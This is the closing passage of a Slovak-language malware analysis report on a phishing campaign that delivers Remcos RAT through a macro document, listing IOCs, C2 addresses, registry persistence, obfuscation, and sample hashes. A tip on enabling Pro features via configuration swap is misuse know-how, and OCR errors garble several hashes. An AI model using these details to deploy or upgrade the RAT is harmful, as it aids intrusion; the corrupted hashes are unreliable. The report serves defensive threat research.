Obr. 21: Utoénik nahral Mail PassView (modrd) a ziskal uloZené hesld (Cervend)

Zhrnutie

V tejto sprave sme analyzovali Skodlivi kamparni, ktord prostrednictvom rozosielania emailov
s infikovanymi prilohami a odkazmi vedicimi na infikované stranky napddala zariadenia obeti
a umiestiiovala do nich Skodlivy softvér v podobe nastroja na vzdialenu spravu a sledovanie - Remcos
RAT. Analyzovali sme jednotlivé fazy utoku, dokument, ktory stiahol z Internetu .exe stibor obsahujtci
zaSifrovany payload v podobe agenta Remcos.
Pozreli na kampaii aj z pohladu ttoc¢nika, ako nasledne mozZe napadnuté zariadenia ovladat’ a ukazali sme
si niektoré jeho kroky. TaktieZ sme pribliZili, ako moZe aj technicky menej zdatny dtoc¢nik vytvarat
podobné kampane s rozpoctom menej ako 100€.

Odporucania na odstranenie

Skontrolovat’ zariadenie niektorym AV softvérom (pripadne viacerymi). Ak je detegovany Remcos RAT
alebo je pritomny stbor $TEMP%\ujxndTPNa.exe (pripadne iny podozrivy .exe stbor v adresari
%TEMP%, ktory je detegovany AV rieSenim), tak je odporicané preinstalovat’ cely operacny systém,
pretoZe utocnik mohol prostrednictvom nastroja na vzdialené ovladanie pocitaca Remcos RAT
nainStalovat’ d’alsi Skodlivy softvér a vytvorit’ si skryty pristup, ktory nie je detegovany AV rieSeniami.

Poznamky

* licentny kod sa z agenta Remcos da lahko extrahovat, po spusteni sa zapiSe do registrovej
hodnoty HKEY CURRENT USER\Software\Remcos-KZ8LSG\license. No zaroven sa
da vyuZit aj prepinac¢ -1, ked sa spusti agent Remcos s tymto prepinacom, vytvori stbor
licence code.txt obsahujuci cislo licencie. To sa da pouZit napriklad na korelaciu
viacerych vzoriek, ¢i boli vytvorené na zaklade rovnakej licencie

* Remcos agent vytvoreny pomocou Lite verzie obsahuje aj niektoré z funkcionalit, ktoré su
oficidlne k dispozicii iba v Pro verzii, napr. skryty beh bez viditeI'ného okna. D4 sa to jednoducho
overit' nahradenim jeho konfiguracie konfiguraciou, ktorti sme ziskali z analyzovanej vzorky
(staci nahradit’ zaSifrovanu konfiguraciu, ktora je pritomnd ako resource RCData)
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Zdroje

*  https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-
webrequest?view=powershell-3.0

e https://www.autoitscript.com/site/autoit/

*  https://www.autoitscript.com/wiki/Decompiling FAQ

*  https://github.com/Cisco-Talos/remcos-decoder

*  https://krabsonsecurity.com/2018/03/02/analysing-remcos-rats-executable/

* https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html
e https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html

e https://app.any.run/tasks/9442c6de-ca0b-4810-babc-f96a80ebcc38
I0C

Vytvorené stibory

* S$TEMP$\ujxndTPNa.exe
* docasné stbory v $TEMP% obsahujtice ukradnuté prihlasovacie mena a hesla z prehliadacov
a emailovych klientov

Modifikované stibory

* Ziadne, ale titocnik md mozZnost’ modifikovat’ subory prostrednictvom Remcos RAT stiahnutého
analyzovanou vzorkou

Zapis do registrov

* HKEY CURRENT USER\Software\Remcos-KZ8LSG\exepath
* HKEY CURRENT USER\Software\Remcos-KZ8LSG\license

Mutexy

* {{{Jjiessgcgmrirxatdngiaugqggpwneqo}}}
* Remcos-KZ8LSG
* Remcos Mutex Inj

Injektované procesy
e C:\Windows\System32\svchost.exe
Vytvorené procesy

* S$TEMP$\ujxndTPNa.exe
e C:\Windows\System32\svchost.exe
Siet'ova komunikacia
* hxxp://takefullcredit.com/sin/file/se.php (IP 78.142.29.4)

* hxxps://a.doko.moe/hpofbv (IP 81.4.3.2)
e 162.241.190.159:1256

Perzistencia/instalacia

* Ziadna prejavend, ale funkcionalita je pritomnd a titocnik md moznost’ ju vyuZzit
* pritomna perzistencia prostrednictvom HKCU\Software\Microsoft\Windows
NT\CurrentVersion\Windows\Load, ale nevyuZita
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Dalsie informacie

Obfuskacia
* nahodné nazvy premennych
* zbytocny koéd navySe

* skladanie retazcov pomocou aritmetickych operacii a znakov, reverz ret'azcov
* Sifrované resources

Packer

« UPX

e Autolt2Exe

*  Cypherlt

AntiDebug ochrana

* Ziadna, ale Remcos RAT ma voliteIni moznost’ detekcie debuggerov

AntiVM ochrana

* pritomna detekcia virtualizacnych platforiem; neaktivna

Zakladné udaje o vzorke

Purchase Order.doc

Nazov suboru:

Purchase Order.doc

Vel’kost’ siiboru: 168732 B

Typ stboru: Microsoft Word 2007+

MD5: 04012f2f3fb851d56307bea08b103c68

SHA1: 7066f965f5da274cb0003de287e857b6al1860cc2

SHA256: 8e56ea8b4ad45557ded886bbfd2092c7e83baf2033d57e96d549166762656f714

SSDeep: 3072:yAtPKgeQgnRILJIrX+UhPNGOgWhfREFGi7mpoQqVzPZNnBTK:dRj1wRILbN

/gOW0i791VdxhK

Povod vzorky:

Stiahnuta zo Skodlivej URL

Datum zachytenia 17.09.2018
vzorky:
Datum vykonania 19.09.2018

analyzy:

Sposob vykonanej
analyzy:

Uplna, staticka/behavioralna

Postihnuté systémy:

MS Windows 10 (alebo Windows nizZsej verzie s PowerShell 3.0 a vysSim) a s
nainstalovanym MS Office

Detekcia antivirmi:

34/62 VirusTotal, timestamp: 2018-09-19 03:05:29 UTC

ESET NOD32 DOC/TrojanDownloader.Agent. YA

Kaspersky HEUR:Trojan-Downloader.MSOffice.SLoad.gen
Microsoft Trojan:Win32/Casdet!rfn

Symantec Trojan.Gen.NPE

Tagy: Trojan, Office, Macro, Downloader
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FileType DOTM

FileTypeExtension dotm

MIMEType application/vnd.ms-
word.template.macroEnabledTemplate

ZipRequiredVersion 20

ZipBitFlag 0x0006

ZipCompression Deflated

ZipModifyDate 1980:01:01 00:00:00

ZipCRC 0x9828be31

ZipCompressedSize 406

ZipUncompressedSize 1512

ZipFileName [Content_Types].xml

Template Pur.doc

TotalEditTime 6 minutes

Pages 1

Words 3

Characters 21

Application Microsoft Office Word

DocSecurity None

Lines 1

Paragraphs 1

ScaleCrop No

Company

LinksUpToDate No

CharactersWithSpaces 23

SharedDoc No

HyperlinksChanged No

AppVersion 16.0

Title

Subject

Creator Dimitri czar

Keywords

Description

LastModifiedBy Dimitri czar

RevisionNumber 3

CreateDate 2018:07:16 18:06:00Z

ModifyDate 2018:09:16 23:08:00Z

ujxndTPNa.exe

Nazov suboru: ujxndTPNa.exe

Vel’kost stiboru: 1075712 B

Typ suboru: PE32 executable (GUTI) Intel 80386, for MS Windows
MD5: 970372e3258ca98ada89eb312406bf7f
SHA1: a81bc74373b5d948472e089877fa3b64c83c4fda
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R Sprava z analyzy Skodlivého kadu 0> CS S
SHA256: £808c76dbc22e0465045a8f7718cc506b99f720045343e254ec22be07a9¢4534

SSDeep: 12288:uCdOy3vVrKxR5CXbNjAOxK/j2n+4Y G/6c1mFFja3mXgcjfRIgsUBga6DUm-+t

xU/M:uCdxte/80j YLT3U1jfsWa6DMAX/T/Q

Povod vzorky:

Stiahnuté z Internetu analyzovanym dokumentom

Datum zachytenia 17.09.2018
vzorky:

Datum vykonania 19.09.2018
analyzy:

Sposob vykonanej Uplna, staticka
analyzy:

Postihnuté systémy:

OS Windows 7 a novsie

Detekcia antivirmi:

36/68 VirusTotal, timestamp: 2018-09-19 18:42:28 UTC

ESET NOD32 Win32/Rescoms.B

Kaspersky HEUR:Trojan.Script.Generic

Microsoft Trojan:Win32/Casdet!rfn

Symantec Trojan.Gen.2

Tagy: Trojan, Autolt, Cypherlt, Remcos, RAT

FileType Win32 EXE
FileTypeExtension exe

MIMEType application/octet-stream
MachineType Intel 386 or later, and compatibles
TimeStamp 2018:09:17 00:56:51+02:00
ImageFileCharacteristics Executable, Large address aware, 32-bit
PEType PE32

LinkerVersion 12.0

CodeSize 581120

InitializedDataSize 493568
UninitializedDataSize 0

EntryPoint 0x27f4a

OSVersion 5.1

ImageVersion 0.0

Subsystem Version 5.1

Subsystem Windows GUI
FileVersionNumber 0.0.0.0
ProductVersionNumber 0.0.0.0

FileFlagsMask 0x0000

FileFlags (none)

FileOS Win32

ObjectFileType Executable application
FileSubtype 0

LanguageCode English (British)
CharacterSet Unicode
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yjyhphbjziyg.exe
Nazov stboru: yjyhphbjziyg.exe
Vel’kost siiboru: 42496 B

Typ suboru:

PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed

MD5: 67e80af59f8b36749d5fb711141a5{65

SHA1: 4d458a0b27e58ab7cf930c2ff55bfe4f083aa52d

SHA256: 9b9a03add59199d08af6095e168e6b4bca3916774291603b4582d14£6078fal5

SSDeep: 768:QSJGwWLWVqc6KePAza+t25SQ4TgCDad/BOr+QdBg3irr14d4:QSJGzDnePAzDtzM

QftrKd4

Povod vzorky:

Extrahovana zo Sifrovaného resource

Datum zachytenia 19.09.2018

vzorky:

Datum vykonania 19.09.2018

analyzy:

Sposob vykonanej Ciasto¢na, statickd/behavioralna
analyzy:

Postihnuté systémy:

OS Windows XP a novsie

Detekcia antivirmi:

43/68 VirusTotal, timestamp: 2018-09-21 09:02:41 UTC

ESET NOD32 a variant of Win32/Agent.SYM
Kaspersky HEUR:Trojan.Win32.Generic
Microsoft Backdoor:Win32/Rescoms.C!bit
Symantec W32.Spyrat

Tagy: Remcos, RAT, UPX

FileType Win32 EXE

FileTypeExtension exe

MIMEType application/octet-stream
MachineType Intel 386 or later, and compatibles
TimeStamp 2018:09:12 19:33:40+02:00
ImageFileCharacteristics |No relocs, Executable, No line numbers, No symbols, 32-bit
PEType PE32

LinkerVersion 6.0

CodeSize 36864

InitializedDataSize 8192

UninitializedDataSize 86016

EntryPoint Ox1edf0

OSVersion 4.0

ImageVersion 0.0

Subsystem Version 4.0

Subsystem Windows GUI
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